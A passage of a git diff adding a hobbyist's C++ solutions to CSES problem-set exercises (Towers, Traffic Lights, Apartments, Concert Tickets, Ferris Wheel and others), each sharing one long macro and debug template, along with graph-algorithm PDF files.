+#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n; + cin >> n; + vec ar(n); + for (int i = 0; i < n; i++) + cin >> ar[i].first >> ar[i].second; + + sort(all(ar)); + debug(ar); + ll end = 0; + ll reward = 0; + for (int i = 0; i < n; i++) + { + end += ar[i].first; + reward += ar[i].second - end; + debug(end, reward); + } + out(reward); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Towers.cpp b/DSA/CSES_ProblemSet/Towers.cpp new file mode 100644 index 000000000..ac773230b --- /dev/null +++ b/DSA/CSES_ProblemSet/Towers.cpp @@ -0,0 +1,218 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n; + cin >> n; + vi x; + for (int i = 0; i < n; i++) + { + ll a; + cin >> a; + auto ub = upper_bound(all(x), a) - x.begin(); + if (ub == x.size()) + x.pb(a); + else + x[ub] = a; + } + out(x.size()); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Traffic_Lights.cpp b/DSA/CSES_ProblemSet/Traffic_Lights.cpp new file mode 100644 index 000000000..1d3658ea0 --- /dev/null +++ b/DSA/CSES_ProblemSet/Traffic_Lights.cpp @@ -0,0 +1,227 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int x, n; + cin >> x >> n; + set lights; + lights.insert(0), lights.insert(x); + multiset dist; + dist.insert(x); + + for (int i = 0; i < n; i++) + { + int p; + cin >> p; + auto it1 = lights.upper_bound(p), it2 = it1; + --it2; + dist.erase(dist.find(*it1 - *it2)); + dist.insert(p - *it2), dist.insert(*it1 - p); + lights.insert(p); + // debug(dist); + // debug(lights); + auto res = dist.end(); + res--; + cout << *res << " "; + } + cout << "\n"; +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/apartments.cpp b/DSA/CSES_ProblemSet/apartments.cpp new file mode 100644 index 000000000..ab0750646 --- /dev/null +++ b/DSA/CSES_ProblemSet/apartments.cpp @@ -0,0 +1,229 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater()> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n, m, k; + cin >> n >> m >> k; + vi a(n), b(m); + for (int i = 0; i < n; i++) + cin >> a[i]; + for (int i = 0; i < m; i++) + cin >> b[i]; + + int cnt = 0; + sort(all(a)), sort(all(b)); + // debug(a); + // debug(b); + + int i = 0, j = 0; + while (i < n && j < m) + { + if (abs(a[i] - b[j]) <= k) + cnt++, i++, j++; + else if (a[i] < b[j]) + i++; + else + j++; + } + + out(cnt); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/concert_tickets.cpp b/DSA/CSES_ProblemSet/concert_tickets.cpp new file mode 100644 index 000000000..cb1e5a22d --- /dev/null +++ b/DSA/CSES_ProblemSet/concert_tickets.cpp @@ -0,0 +1,228 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater()> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n, k; + cin >> n >> k; + multiset> ms; + for (int i = 0; i < n; i++) + { + ll x; + cin >> x; + ms.insert(x); + } + debug(ms); + while (k--) + { + ll curr; + cin >> curr; + auto x = ms.lower_bound(curr); + debug(*x); + if (x != ms.end()) + { + out(*x); + ms.erase(x); + } + else + out(-1); + } +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/ferris_wheel.cpp b/DSA/CSES_ProblemSet/ferris_wheel.cpp new file mode 100644 index 000000000..9fbc5cb9b --- /dev/null +++ b/DSA/CSES_ProblemSet/ferris_wheel.cpp @@ -0,0 +1,220 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater()> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n, k; + cin >> n >> k; + int ar[n]; + inarr(ar, n); + sort(ar, ar + n); + + int cnt = n; + int i = 0, j = n - 1; + while (i < j) + { + if (ar[i] + ar[j] <= k) + i++, j--, cnt--; + else + j--; + } + out(cnt); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/rest_tickets.cpp b/DSA/CSES_ProblemSet/rest_tickets.cpp new file mode 100644 index 000000000..b431ac988 --- /dev/null +++ b/DSA/CSES_ProblemSet/rest_tickets.cpp @@ -0,0 +1,226 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater()> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n; + cin >> n; + vector vals; + for (int i = 0; i < n; i++) + { + int l, r; + cin >> l >> r; + vals.pb({l, 1}); + vals.pb({r, -1}); + } + + sort(all(vals)); + debug(vals); + + int sum = 0; + int ans = 0; + for (auto x : vals) + { + sum += x.second; + ans = max(ans, sum); + } + cout << ans << '\n'; +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/Competitive programming/Adv graphs/Biconnected graphs.pdf b/DSA/Competitive programming/Adv graphs/Biconnected graphs.pdf new file mode 100644 index 000000000..85f7daf82 Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/Biconnected graphs.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/articulations points.pdf b/DSA/Competitive programming/Adv graphs/articulations points.pdf new file mode 100644 index 000000000..635eb9c58 Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/articulations points.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/bipartite graphs.pdf b/DSA/Competitive programming/Adv graphs/bipartite graphs.pdf new file mode 100644 index 000000000..999165635 Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/bipartite graphs.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/bridge trees.pdf b/DSA/Competitive programming/Adv graphs/bridge trees.pdf new file mode 100644 index 000000000..e65fab815 Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/bridge trees.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/bridges.pdf b/DSA/Competitive programming/Adv graphs/bridges.pdf new file mode 100644 index 000000000..f2ba3594d Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/bridges.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/connected components.pdf b/DSA/Competitive programming/Adv graphs/connected components.pdf new file mode 100644 index 000000000..4b5115a76 Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/connected components.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/dicnic's algorithm.pdf b/DSA/Competitive programming/Adv graphs/dicnic's algorithm.pdf new file mode 100644 index 000000000..bc03b95ce Binary files /dev/null and b/DSA/Competitive programming/Adv graphs/dicnic's algorithm.pdf differ diff --git a/DSA/Competitive programming/Adv graphs/edmonds karp algorithm.pdf b/DSA/Competitive programming/Adv graphs/edmonds karp algorithm.pdf new file 